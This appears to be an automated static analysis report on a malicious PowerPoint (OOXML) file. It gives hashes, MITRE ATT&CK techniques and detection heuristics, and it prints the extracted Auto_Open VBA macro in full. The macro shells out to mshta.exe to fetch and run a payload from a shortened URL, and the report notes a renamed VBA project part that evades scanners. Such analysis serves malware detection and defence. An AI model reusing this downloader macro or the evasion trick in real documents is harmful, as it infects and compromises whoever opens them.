Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 76324d5b96610a74…

MALICIOUS

Office (OOXML)

6.0 KB First seen: 2021-10-31
MD5: 93c574b32afb548ce971ed0886b14890 SHA-1: 3b0557fe414b2543df98e31294b7c5fb6c461b3d SHA-256: 76324d5b96610a74c3fc773300ec22ff661674f969553774cc7a9daa50aa524d
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 Client Execution: Mshta T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing a VBA macro that executes upon opening. The Auto_Open macro constructs and executes a command using mshta.exe, which is designed to download and execute a payload from the concatenated URL and string: "https://www.bitly.com/kddjkdkdwokdwokwdi". This indicates a typical macro-based downloader attack pattern.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/jqdkaoskdoaskd.b)
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim Z As String
X = "mshta.exe "
Y = "https://www.bitly.com/"
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/ In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 314 bytes
SHA-256: aa28a8fb1625f2bc79e0c59263a9f0a2e71a4477cb41f8e5c1cb964c1be46a38
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
Dim X As String
Dim Y As String
Dim Z As String
X = "mshta.exe "
Y = "https://www.bitly.com/"
Z = "kddjkdkdwokdwokwdi"
Debug.Print X
Debug.Print Y
Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/jqdkaoskdoaskd.b 13312 bytes
SHA-256: 4ae1a119ad1375231bb32acc1442be9cb1c137ea45c8a76c27ad1611ea465311

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